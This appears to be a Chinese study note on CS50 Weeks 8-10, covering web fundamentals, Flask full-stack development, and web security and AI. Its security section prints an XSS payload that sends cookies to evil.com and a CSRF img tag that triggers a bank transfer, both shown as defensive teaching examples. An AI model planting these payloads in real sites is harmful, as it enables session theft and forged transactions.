Week 8 到 Week 10 是 CS50 的「出海口」。前 7 周你从二进制挖到 C 语言,从指针挖到数据结构,从 Python 挖到 SQL——现在这些河道全部汇入一个方向:互联网。Week 8 覆盖前端三件套(HTML/CSS/JavaScript),Week 9 用 Flask 搭建全栈 Web 应用,Week 10 以网络安全和 AI 话题收尾。到最后一个学分修完时,你手上不再是零散的语法知识——你手上有了一条从晶体管到浏览器的完整认知链。
上一篇:Week 6 & 7
| 关键词 | 一句话说明 |
|---|---|
| ⭐ HTTP 协议 | 浏览器和服务器之间的通信语言。请求包括方法(GET/POST)、路径、头部;响应包括状态码(200/404/500)、头部、主体 |
| TCP/IP | 互联网的底层传输协议。IP 负责「找到那台电脑」,TCP 负责「确保数据完整按序送到」 |
| DNS | 域名系统——把 google.com 翻译成 IP 地址 142.250.80.46。互联网的全球电话簿 |
| HTML | 网页的骨架——用标签描述内容结构。语义化标签(header/footer/section)让 HTML 不只是给浏览器看,也给搜索引擎和阅读器看 |
| CSS 盒模型 + 定位 | 每个元素是一个盒子(content→padding→border→margin)。position 控制盒子放在哪:static 正常流、relative 偏移、absolute 自由、fixed 钉屏幕 |
| CSS 特异性 | 多规则冲突时谁说了算——inline(1000)> id(100)> class(10)> tag(1)。Malan:「这是 CSS 最容易误解的地方」 |
| ⭐ DOM | 文档对象模型——浏览器把 HTML 解析成一棵树。JavaScript 通过这棵树动态修改页面:增删改查节点、改样式、读输入 |
| JavaScript 核心语法 | 语法接近 C(花括号、分号),但变量不用声明类型(let/const)、函数是一等公民、箭头函数是标配 |
| 事件(Event) | 用户的操作(click/input/submit)→ 触发 JS 函数。addEventListener 绑定监听器。event.target 找到触发源 |
| ⭐ AJAX / fetch | 不刷新整个页面就从服务器拿数据。fetch(url) → 返回 Promise → .then() 处理响应 → 局部更新 DOM。现代 Web App 的标配 |
| ⭐ Flask | Python 轻量 Web 框架。@app.route 定义路由,render_template 渲染页面,request.form 读 POST 数据,session 记用户 |
| Jinja 模板 | Flask 的模板引擎——{{ }} 输出变量,{% %} 写循环和条件。模板继承({% extends %})消灭重复 HTML |
| GET vs POST | GET:参数在 URL 中(可收藏分享→适合搜索)。POST:参数在请求体(不会留在历史→适合登录/修改) |
| Session / Cookie | HTTP 无状态→需要记忆手段。Cookie 存浏览器(小纸条),Session 存服务器(通过 session_id 识别)。Flask 的 session 字典自动管理 |
| ⭐ MVC 模式 | Model(数据/SQL)→ View(模板/HTML)→ Controller(路由/Python)。分离不是洁癖——是你代码不被自己恨的底线 |
| redirect / url_for / flash | 重定向跳转、动态生成 URL、一次性提示消息。Flask 的路由辅助三件套 |
| JSON API | Flask 不仅可以返回 HTML,还可以返回 JSON 数据——jsonify()。前端 fetch JSON → JS 局部渲染。前后端分离的基础 |
| ⭐ 网络安全 | 密码哈希(bcrypt)、HTTPS 加密传输、XSS 防御(转义用户输入)、CSRF 防御(token 验证)、SQL 注入防御(参数化查询)、环境变量存密钥 |
| bcrypt / 哈希加盐 | 密码不存明文。bcrypt 自动加盐——两个用户设了同样的密码,产生不同的哈希。故意很慢(防暴力破解) |
| 环境变量 | API Key、secret_key、数据库密码——永远不写进代码。存 .env 文件 + gitignore。服务器从环境变量读取 |
| AI 与编程 | AI 能写代码——但不能替你思考「为什么要写这段代码」。CS50 教的是后者。这是你不可替代的地方 |
Malan 的开场不写代码。他画了一张图——你的电脑在左边,Google 的服务器在右边,中间是一根弯弯曲曲的线。「你在浏览器输入 google.com,按下回车。然后——到底发生了什么?」接下来 15 分钟,他把网络协议栈从 HTTP 讲到 TCP/IP 再到路由器讲到 DNS——不是为了让你背协议号,是为了让你在写 Web 应用时,脑子里有一张物理世界的全息图。
| 层次 | 协议/技术 | 干了什么 | 比喻 |
|---|---|---|---|
| 应用层 | HTTP / HTTPS | 定义「我要什么」(GET /index.html)和「我拿到了什么」(200 OK + 内容) | 你写的信封内容 |
| 传输层 | TCP | 把数据切成包,编号,发出去。接收方确认收到了——丢包就重发。保证完整 + 按序 | 挂号信——保证送到、保证不撕页 |
| 网络层 | IP | 在互联网中定位目标计算机(通过 IP 地址)。路由器根据 IP 地址逐跳转发 | 信封上的地址——告诉邮局往哪送 |
| 链路层 | WiFi / 以太网 / 光纤 | 物理信号传输——无线电波、电缆电信号、光脉冲 | 邮递员的卡车——实际运输 |
你输入 google.com,但互联网上每一台机器的门牌号都是 IP 地址(如 142.250.80.46)。DNS(Domain Name System)就是互联网的全球电话簿——你问它「google.com 在哪」,它回答一个 IP 地址。这个查询本身也是一个网络请求,一层层向上追(本地缓存→路由器缓存→ISP DNS→根 DNS 服务器→顶级域名服务器→权威 DNS),直到有人知道答案。
客户端(浏览器)发送: GET / HTTP/1.1 Host: www.example.com 服务端回应: HTTP/1.1 200 OK Content-Type: text/html <!DOCTYPE html> <html>...</html>
| 常见状态码 | 含义 | 你的代码什么时候会看到它 |
|---|---|---|
200 OK | 成功——页面正常返回 | 一切正常时 |
301 Moved Permanently | 永久重定向——这个 URL 搬家了 | 你改了路由,旧地址自动跳新地址 |
302 Found | 临时重定向——Flask 的 redirect() 默认用这个 | 登录成功后跳转首页 |
404 Not Found | 你要的页面不存在 | 用户输入了不存在的 URL |
500 Internal Server Error | 服务器代码炸了 | 你的 Python 路由函数里抛了异常。调试时看终端 traceback |
Malan 在 Chrome 浏览器里打开任意网页,按 F12 打开开发者工具——然后逐层展开 DOM 树。「你现在看到的这个页面——标题、段落、图片——它们的骨骼就是这些东西。」
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>我的第一个网页</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<header>
<h1>欢迎!</h1>
<nav><a href="/">首页</a> | <a href="/about">关于</a></nav>
</header>
<main>
<section>
<h2>文章标题</h2>
<p>这是一个段落。</p>
<img src="photo.jpg" alt="一张照片">
</section>
</main>
<footer>
<p>© 2025 我的网站</p>
</footer>
<script src="app.js"></script>
</body>
</html>
| 标签分类 | 标签 | 干什么的 |
|---|---|---|
| 结构 | <html> <head> <body> | 最外层骨架——每页必须(虽然浏览器对缺失很宽容) |
| meta 信息 | <meta>、<title>、<link>、<script> | 字符编码、视口设置、标题、CSS/JS 引用——全在 head 里 |
| 语义化标签 | <header> <footer> <main> <nav> <section> <article> | 描述各部分「是什么」而不是「长什么样」。对搜索引擎、盲人阅读器友好。比满屏 <div> 强一百倍 |
| 内容 | <h1>~<h6>、<p>、<a>、<img> | 标题、段落、超链接、图片 |
| 列表 | <ul> <ol> <li> | 无序、有序、列表项 |
| 表格 | <table> <tr> <td> <th> | 表格/行/单元格/表头 |
| 表单 | <form> <input> <button> <select> <textarea> | 用户输入——Web 应用最核心的交互入口 |
| 无语义容器 | <div> <span> | 纯粹用来分组和挂 CSS——能用语义化标签就别用它们 |
Malan 的 CSS 教学用一个「万圣节换装」演示:同一个 HTML 文件,换一行 CSS 引用,页面从白底黑字变成暗黑模式、变成报纸排版、变成 1998 年的 GeoCities 风格。CSS 不是给 HTML 添加装饰——CSS 是把内容和表现彻底分开了。
/* 选择器 { 属性: 值; } */
body {
background-color: #f0f0f0;
font-family: Arial, sans-serif;
}
h1 {
color: var(--text);
text-align: center;
font-size: 2rem;
}
/* class 选择器——用 . 开头,可重复使用 */
.button {
background: #007bff;
color: white;
padding: 10px 20px;
border-radius: 5px;
}
/* id 选择器——用 # 开头,页面中唯一 */
#main-header { border-bottom: 2px solid #ddd; }
Malan 在开发者工具中展开一个 <div>,用「盒模型」面板展示:
┌──────── margin ──────────┐ 最外层——和其他元素的距离 │ ┌──── border ───────┐ │ 边框 │ │ ┌── padding ──┐ │ │ 内边距——边框和内容之间的呼吸空间 │ │ │ content │ │ │ 内容——文字、图片、子元素 │ │ └──────────────┘ │ │ │ └──────────────────────┘ │ └──────────────────────────────┘
盒模型公式:实际宽度 = width + padding-left + padding-right + border-left + border-right。 box-sizing: border-box; 可以让 width 包含 padding 和 border——现代开发几乎必设。
| 值 | 行为 | 什么时候用 |
|---|---|---|
static | 默认——按文档流正常排列。top/left 无效 | 大多数元素 |
relative | 相对于自己在文档流中「本来的位置」偏移。不脱离文档流(原位置仍占据空间) | 微调位置、为 absolute 子元素创建定位参考 |
absolute | 脱离文档流。相对于最近的定位祖先(非 static 的父元素)定位。没有定位祖先时相对于 body | 弹窗、下拉菜单、悬浮提示 |
fixed | 脱离文档流。相对于浏览器窗口定位——滚动页面也不会动 | 固定导航栏、返回顶部按钮 |
Malan 把这个问题浓缩成一张「优先级计算表」——不是背公式,是理解一条规则:越具体的规则越优先。
/* 优先级:inline > id > class > tag */
<h1 id="title" class="heading">Hello</h1>
h1 { color: blue; } /* 优先级 0-0-1 → 输 */
.heading { color: green; } /* 优先级 0-1-0 → 输 */
#title { color: red; } /* 优先级 1-0-0 → 赢!*/
/* 如果写了 style="color: purple" → inline 最高优先级 → 紫 */
/* !important 是核武器——覆盖一切(包括 inline) */
h1 { color: orange !important; } /* 滥用它会让 CSS 变成惨剧——只在万不得已时用 */
HTML 是骨架(结构)。CSS 是皮肤(外观)。JavaScript 是大脑(行为)。Malan 打开一个页面,按 F12 打开 Console,敲了一行:
document.querySelector('h1').textContent = '我被 JS 改了!'
页面上最大的标题瞬间变了。他说:「你在浏览器里按 F12,打开 Console——这就是你的 JS 沙盒。你可以现场修改任何网页。注意:只在你自己的浏览器里生效。刷新页面就没了。」
// 变量
let x = 5; // 可变
const PI = 3.14; // 不可变——优先用 const
var oldWay = "不推荐"; // 老写法,作用域诡异,用 let 替代
// 条件
if (x > 3) { console.log("大"); }
// 循环
for (let i = 0; i < 5; i++) { console.log(i); }
// 函数——三种写法
function greet(name) { return "Hello, " + name; } // 传统
const greet = function(name) { return "Hello, " + name; } // 匿名
const greet = (name) => "Hello, " + name; // 箭头(现代标配)
// 数组和对象——JS 最常用的两种结构
let nums = [1, 2, 3];
nums.push(4); // [1,2,3,4] —— 像 Python list
nums.map(x => x * 2); // [2,4,6,8] —— 像 Python 列表推导
let person = { name: "Alice", age: 20 };
console.log(person.name); // "Alice"
console.log(person["name"]); // "Alice"(两种写法等价)
// 挑选元素
let heading = document.querySelector('h1'); // 选第一个匹配
let allParagraphs = document.querySelectorAll('p'); // 选全部匹配
let form = document.getElementById('my-form'); // 按 id 选(最快)
// 修改内容(注意两者的安全差异!)
heading.textContent = '新标题'; // 纯文本——安全✅
heading.innerHTML = '<em>斜体标题</em>'; // HTML——有 XSS 风险⚠️
// 修改样式
heading.style.color = 'red'; // 直接改
heading.classList.add('highlight'); // 加 class(推荐:样式和逻辑分离)
heading.classList.toggle('dark-mode'); // 开关式——有就删,没有就加
// 创建新元素并插入页面
let newP = document.createElement('p');
newP.textContent = '我是新来的。';
document.body.appendChild(newP);
// 点击按钮 → 触发函数
document.querySelector('button').addEventListener('click', function() {
alert('你点了我!');
});
// 输入框内容变化 → 实时反馈
document.querySelector('input').addEventListener('input', function(event) {
let typed = event.target.value; // event.target = 触发事件的元素
console.log('当前输入:' + typed);
});
// 表单提交 → 拦截默认行为
document.querySelector('form').addEventListener('submit', function(event) {
event.preventDefault(); // 阻止表单刷新页面!
// 用 fetch 发送数据...
});
// 页面加载完成 → 执行初始化
document.addEventListener('DOMContentLoaded', function() {
console.log('页面加载完了,开始干活!');
});
这是 Malan 在第 8 周引出「现代 Web 应用」的支点技术——传统的 Web 是「点链接→整个页面刷新」,AJAX 是「后台偷偷发请求→拿到数据→局部更新 DOM」。
// fetch——现代 JS 的 HTTP 请求方式
fetch('/api/movies') // 向服务器发 GET 请求
.then(response => response.json()) // 把响应转成 JSON
.then(movies => { // movies = [{title: "...", year: ...}, ...]
let ul = document.querySelector('ul');
ul.innerHTML = ''; // 清空旧列表
movies.forEach(movie => {
let li = document.createElement('li');
li.textContent = `${movie.title} (${movie.year})`;
ul.appendChild(li); // 逐条插入 DOM
});
})
.catch(error => console.error('出错了:', error)); // 网络错误等
// 发送 POST 数据
fetch('/api/register', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username: 'alice', password: 'secret' })
})
.then(response => response.json())
.then(data => console.log(data));
Malan 敲下这段代码后停下来,用一种「看,你已经不是在写网页了」的语气说:「这就是 Gmail 不需要刷新页面就能收新邮件的原因。这就是 Google Maps 拖动地图不闪烁的原因。浏览器在后台帮你发 HTTP 请求——你甚至感觉不到。」
用 HTML + CSS + 一点点 JavaScript 做一个个人主页。要求:至少三个页面、至少一个表单、至少一个交互(点击按钮后发生点什么)。Malan 特意提示:「这个作业和你未来的 Final Project 是同一类东西——静态页面加上动态交互。从今天起,你开始做一个完整的网站。」
Malan 在终端敲了 7 行代码:
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
return "<h1>hello, world</h1>"
if __name__ == "__main__":
app.run()
然后打开浏览器,输入 localhost:5000——页面上出现了一个加粗的「hello, world」。他说:「这就叫 Web 服务器。 你已经有一个能接受 HTTP 请求并返回 HTML 的程序了。剩下的就是往里加东西。」
Malan 把 Flask 应用拆成三层——不是出于学术上的洁癖,是因为如果你把 HTML、Python、SQL 搅在一个文件里,两周后你自己都看不懂。
| MVC 层 | Flask 中的对应 | 干什么 | 类比 |
|---|---|---|---|
| Model(模型) | SQL 数据库 + Python 查询函数 | 数据的存储和读取——所有的 SELECT、INSERT 归这里管 | 后厨的食材仓库 |
| View(视图) | templates/ 目录下的 .html 文件 + Jinja 模板语法 | 数据如何展示——用户看到的东西全在这里。View 不知道数据从哪来 | 摆盘和上菜 |
| Controller(控制器) | app.py 中的路由函数 | 接收请求 → 调 Model 取数据 → 把数据传给 View → 返回给浏览器。Controller 不自己写 HTML | 厨师长——调度一切 |
Malan 的规则:「如果你在路由函数里写 HTML 字符串——停。 把 HTML 放进 templates 目录。如果你在模板文件里写 SQL 查询——停。 把查询放到 Model 层。分离不是形式主义——是你对自己代码的可维护性负责。」
from flask import Flask, render_template, request, redirect, url_for
app = Flask(__name__)
@app.route("/") # 根路径 → 首页
def index():
return render_template("index.html")
@app.route("/user/<name>") # /user/Alice → 动态路由!
def user(name):
return f"<h1>你好,{name}!</h1>"
# methods 参数——同一个 URL 可以响应 GET 和 POST
@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
# 处理登录表单
username = request.form.get("username")
password = request.form.get("password")
if not username or not password:
return "用户名和密码不能为空", 400 # 400 = Bad Request
# ... 验证逻辑 ...
return redirect("/") # 登录成功 → 跳转首页
else:
return render_template("login.html") # GET → 显示登录页
# redirect——让浏览器跳转到另一个 URL
return redirect("/") # 硬编码路径
return redirect(url_for("index")) # 用函数名生成 URL——改了路由也不怕
# url_for——动态生成 URL(改了路由路径也不需要改模板里的链接)
@app.route("/user/<int:id>") # 动态路由,id 必须是整数
def user_profile(id):
return f"用户 {id} 的主页"
# 在模板里:<a href="{{ url_for('user_profile', id=5) }}">用户 5</a>
# 渲染结果:<a href="/user/5">用户 5</a>
Flask 使用 Jinja2 作为模板引擎。模板不是静态 HTML——你可以在里面嵌入变量、循环、条件,Flask 在服务端渲染完毕后,发送给浏览器的就是纯净的 HTML。
<!-- templates/index.html -->
<h1>欢迎,{{ username }}!</h1> <!-- {{ }} = 输出变量(自动转义 HTML 实体) -->
<ul>
{% for item in shopping_list %} <!-- {% %} = 控制语句 -->
<li>{{ item }}</li>
{% endfor %}
</ul>
{% if logged_in %}
<a href="/logout">退出</a>
{% else %}
<a href="/login">登录</a>
{% endif %}
建一个基础模板 layout.html,包含所有页面共有的 HTML 结构(导航栏、页脚、CSS 引用)。每个页面只写自己独特的内容:
<!-- templates/layout.html -->
<html>
<body>
<nav>导航栏——每个页面都有</nav>
{% block content %}{% endblock %} <!-- 留给子页面的「插槽」 -->
<footer>页脚——每个页面都有</footer>
</body>
</html>
<!-- templates/index.html —— 只需要写自己的内容! -->
{% extends "layout.html" %}
{% block content %}
<h1>这是首页独有的内容</h1>
{% endblock %}
Malan 介绍了一个 Flask 的小而美的特性——flash 消息。用户提交表单后跳转,在新页面上显示一条「操作成功!」——刷新页面就消失:
# 控制器中——设置 flash 消息
from flask import flash
@app.route("/register", methods=["POST"])
def register():
# ... 注册逻辑 ...
flash("注册成功!欢迎加入。") # 设置一条消息
return redirect(url_for("index")) # 跳转到首页
# 模板中——显示 flash 消息(如果有的话)
{% with messages = get_flashed_messages() %}
{% if messages %}
<div class="flash">
{% for msg in messages %}
<p>{{ msg }}</p>
{% endfor %}
</div>
{% endif %}
{% endwith %}
| GET | POST | |
|---|---|---|
| 参数在哪 | URL 中(?q=cs50&page=2) | 请求体中(不在 URL 里) |
| 适合什么 | 搜索、筛选、翻页——参数变化不改变服务器状态 | 登录、注册、提交表单、修改/删除数据——任何改变服务器状态的操作 |
| URL 中可见吗 | 是——所以可以分享、收藏、复制链接 | 否——密码和敏感数据不走 URL |
| 安全性 | 参数在浏览器历史、服务器日志中明文出现 | 不在 URL 中——但数据本身不加密(那是 HTTPS 的工作) |
黄金规则:如果请求会改变服务器上的数据——用 POST。不会改变——用 GET。 如果把「删除第 5 篇文章」的链接写成
/delete?id=5(GET),Google 爬虫顺着链接爬过去就把你文章删了。
HTTP 协议本身是无状态的——每个请求都是独立的,服务器不记得上一秒谁来过。但 Web 应用需要「登录状态」。解决方案——Cookie 和 Session:
# Flask 中的 Session——比手动管理 Cookie 简单得多
from flask import session
app.secret_key = "不要告诉我任何人" # 用来加密 session 数据(实际上放环境变量!)
@app.route("/login", methods=["POST"])
def login():
username = request.form.get("username")
# 验证密码...
session["user"] = username # 记住用户!
return redirect("/")
@app.route("/")
def index():
if "user" in session:
return f"欢迎回来,{session['user']}!"
else:
return "请先登录。"
@app.route("/logout")
def logout():
session.clear() # 忘记用户
return redirect("/")
| Cookie | Session | |
|---|---|---|
| 存在哪 | 用户的浏览器 | 服务器端(但通常通过一个 Cookie 里的 session_id 来识别用户) |
| 能存多少 | 很小(约 4KB) | 可以存很多(服务器内存/数据库) |
| 安全性 | 用户能看到和修改——不要存敏感数据 | 用户看不到——但服务器被黑就全泄露 |
| Flask 封装 | response.set_cookie() | session["key"] = value(最简单) |
Malan 把 Week 7 的 SQL 和 Week 9 的 Flask 焊在一起——这是他构想的「全栈」范式:
# app.py——Controller 层
import sqlite3
from flask import Flask, render_template
app = Flask(__name__)
@app.route("/movies")
def movies():
# Model 层——从数据库取数据
conn = sqlite3.connect("movies.db")
cursor = conn.execute("SELECT title, year FROM movies ORDER BY year DESC LIMIT 10")
movies = cursor.fetchall() # 返回列表:[("电影A", 2023), ("电影B", 2023), ...]
conn.close()
# View 层——把数据传给模板
return render_template("movies.html", movies=movies)
<!-- templates/movies.html —— View 层 -->
<ul>
{% for movie in movies %}
<li>{{ movie[0] }} ({{ movie[1] }})</li>
{% endfor %}
</ul>
Malan 的流程图总结:浏览器输入 /movies → Flask 路由函数执行 SQL → 拿到数据 → 塞进 Jinja 模板 → 渲染成 HTML → 返回给浏览器。 这个循环是 Web 应用的心跳。
Malan 在第 9 周末尾引入了一个「现代 Web 开发」的核心理念——你的 Flask 不一定是「返回整页 HTML 的传统网站」。它也可以是一个只返回 JSON 数据的 API——前端用 fetch 拿数据,自己渲染 DOM:
from flask import jsonify
@app.route("/api/movies")
def api_movies():
conn = sqlite3.connect("movies.db")
cursor = conn.execute("SELECT title, year FROM movies ORDER BY year DESC")
movies = [{"title": row[0], "year": row[1]} for row in cursor.fetchall()]
conn.close()
return jsonify(movies) # 返回 JSON:[{"title": "...", "year": 2023}, ...]
# 前端用 fetch 请求这个 API:
# fetch('/api/movies')
# .then(res => res.json())
# .then(data => { /* 用 JS 动态渲染到 DOM */ })
@app.errorhandler(404)
def not_found(error):
return render_template("404.html"), 404 # 注意返回状态码!
@app.errorhandler(500)
def server_error(error):
return render_template("500.html"), 500
这是 CS50 单体工作量最大的作业,也是 Final Project 之前的热身赛。你要搭一个完整的股票交易模拟网站:
做完 Finance 的学生的经典评价:「我在 CS50 的最后三周里写的代码,比我前 7 周加起来都多。但我不害怕了——因为我知道每一行代码在干什么。HTML 画界面,CSS 调样式,JS 加交互,Python 处理逻辑,SQL 存取数据。这些不是孤立的工具——它们是一台机器上互相咬合的齿轮。」
Malan 在最后一课的表情和第一课一样兴奋——但话题从「怎么写第一行代码」变成了「怎么防止别人毁掉你写的代码」。Week 10 不是新技术的教学——它是你前 9 周所有作品的安全审计。每一项安全技术都直接对应你在前 9 周写过的一个漏洞。
回顾 Week 9 的 Finance 作业——你存了用户密码。Malan 问:「你存的时候,密码是什么形态?」如果你存的是原始密码("12345")——数据库一旦泄露,所有用户的密码直接暴露。而且大部分人在多个网站用同一个密码。
正确做法——哈希(Hashing)。哈希是一个单向函数:输入 → 乱码输出。你无法从乱码反推出原始密码。
# 错误——存明文
db.execute("INSERT INTO users (username, password) VALUES (?, ?)",
username, password) # password = "12345" ❌
# 正确——存哈希
from werkzeug.security import generate_password_hash, check_password_hash
# 注册时——存哈希值
hash = generate_password_hash(password) # "12345" → "$2b$12$LJ3m4..."
db.execute("INSERT INTO users (username, hash) VALUES (?, ?)", username, hash)
# 登录时——比对哈希值,不需要知道原始密码
user = db.execute("SELECT hash FROM users WHERE username = ?", username)
if check_password_hash(user["hash"], password):
session["user"] = username # 密码正确 ✅
| 哈希特性 | 解释 |
|---|---|
| 单向 | 哈希 → 原文?不可能。就像你把鸡蛋炒了——不可能炒回生鸡蛋 |
| 确定性 | 同一个输入永远产生同一个哈希——所以可以验证密码是否匹配 |
| 加盐(Salt) | 每个密码加上一个随机字符串再哈希。两个用户都设了 "12345" → 两个不同的哈希值。bcrypt 自动加盐 |
| 慢哈希 | bcrypt 故意很慢(约 0.3 秒/次)——对正常登录无感,但对暴力破解是灾难(每秒只能试 3 次而不是 30 亿次) |
Malan 在第 10 周特别强调了这条「不是安全技术,但和所有安全技术一样重要」的工程实践:
# ❌ 错误——密钥硬编码在源代码里
app.secret_key = "super-secret-key-123"
API_KEY = "sk-abc123xyz"
# 问题:一旦你把代码推到 GitHub——全世界都看到了你的密钥
# ✅ 正确——密钥从环境变量读取
import os
app.secret_key = os.environ.get("FLASK_SECRET_KEY")
API_KEY = os.environ.get("IEX_API_KEY")
# 部署时在服务器上设置环境变量,或者用 .env 文件(加入 .gitignore!)
Malan 的语气异常严肃:「我在 GitHub 上见过真实的 AWS 密钥被提交到公开仓库——几小时后,攻击者用它启动了 $50,000 的比特币矿机。密钥泄露不是'如果'的问题——是你第一次把代码推到 GitHub 时就会发生的事。.env 文件和 .gitignore 不是可选的——它们是代码的一部分。」
HTTP 是明文传输——你在星巴克的 WiFi 登录网站,隔壁桌的人用 Wireshark 能看到你的用户名和密码。HTTPS 用 TLS 加密——浏览器和服务器之间的所有数据被加密,中间任何人截获的都是乱码。
生产环境中通过反向代理(Nginx/Caddy)处理 HTTPS 证书——Flask 不需要改一行代码。但 Malan 强调:在部署你的第一个真实项目时,确保 URL 是 https:// 开头。
这是 Malan 在 CS50 里的最后一个安全演示。他写了一个简单的留言板——用户输入留言,其他用户能看到。攻击者在留言里输入:
<script>alert('你被黑了!')</script>
如果后端不做任何处理——每个打开这个页面的用户的浏览器都会执行这段 JS。 更恶劣的攻击:<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>——把你的 Cookie(含 session_id)发到攻击者的服务器。
防御:
{{ user_input | safe }}——标记为 safe 后不转义,相当于把用户输入当 HTML 执行。除非你绝对信任数据的来源,永远不要用 safetextContent 而不是 innerHTML 插入用户输入的内容场景:你登录了银行网站,Session Cookie 在你浏览器里。然后你打开了攻击者发来的一封邮件,邮件里有一张「不可见的图片」:
<img src="https://bank.com/transfer?to=attacker&amount=10000">
你的浏览器看到了这行 HTML,自动向 bank.com 发了一个 GET 请求——并自动带上了你的 Session Cookie。 银行服务器看到有效的 Session → 认为是你本人在操作 → 转走了你的钱。
防御:
Malan 在最后 20 分钟转向了一个更大的话题——CS50 2025 版新增了 AI 相关内容。「你们可能已经用 ChatGPT 或 Copilot 写了部分作业。我收到的学生邮件里有三分之一是 AI 帮忙起草的。——这 OK。但我要你们记住一件事:」
「AI 能写出你要的代码。但 AI 不知道你为什么要这段代码。 CS50 教你的不是'如何让 AI 替你写代码'——那是终端里一行 prompt 的事。CS50 教你的是:当 AI 写出了 bug 时,你能看懂 bug 在哪。当 AI 建议了一个 O(n²) 的算法时,你能说'等一下,用归并排序'。当老板问你'这个功能为什么花了三周'——你能解释清楚每一层技术决策。」
Malan 的 CS50 2025 结语:
「十年前,我站在这间教室告诉学生——CS50 不是教你 C 语言,不是教你 Python,不是教你 SQL。CS50 是教你如何解决问题。 十年后,工具变了。现在的工具能写代码。明年的工具也许能写整个应用。但那条核心原则没有变——计算机科学是关于解决问题的,而不是关于记忆语法的。 而解决问题——是人类独有的能力。至少目前为止。」
CS50 的期末项目只有一个要求:做一个你想做的东西。 任何东西。一个网站、一个手机 App、一个游戏、一个数据分析工具。唯一的技术约束——它必须是你在 CS50 学到的东西的基础上做的。除此之外,没有要求。
Malan 在最后一页 PPT 上展示了往届学生的作品——从校园二手书交易平台到自动生成俳句的 AI,从模拟气候变化的数据可视化到帮奶奶管理菜谱的 App。他说:「这些作品的共同点不是'用了什么技术'——是作者真的在乎这个东西。 做一个你会在周末打开、打磨、炫耀给朋友看的东西。Final Project 是你从 CS50 带走的名片。让它配得上你。」
| 周 | 主题 | 底层能力 | 标志性作业 |
|---|---|---|---|
| Week 0 | Scratch | 计算思维——拆解问题、顺序/选择/循环 | 原创 Scratch 作品 |
| Week 1 | C 语法入门 | 从图形积木到文本代码的跃迁 | 马里奥金字塔 |
| Week 2 | 数组 + 字符串 | 批量数据处理、编译全流程 | 凯撒加密 |
| Week 3 | 算法 + 大 O | 搜索、排序、复杂度——「怎么想」的框架 | 各种排序算法对比 |
| Week 4 | 指针 + 内存 | 理解计算机底层的物理模型 | JPEG 照片恢复(数字取证) |
| Week 5 | 数据结构 | 用指针和 malloc 搭积木 | 拼写检查器(三版本竞速) |
| Week 6 | Python | 卸掉 C 的包袱——同一套思维换语言 | 图像滤镜(5 种) |
| Week 7 | SQL | 从「怎么取」到「要什么」的范式转换 | IMDb 百万行电影查询 |
| Week 8 | HTML/CSS/JS | 前端三件套——互联网的「用户界面层」 | 个人主页 |
| Week 9 | Flask | 全栈 Web——所有前期技能焊成一台机器 | 股票交易模拟(CS50 Finance) |
| Week 10 | 安全 + AI + 告别 | 你写的代码如何被攻击、如何防御——以及 AI 时代你的不可替代性 | Final Project |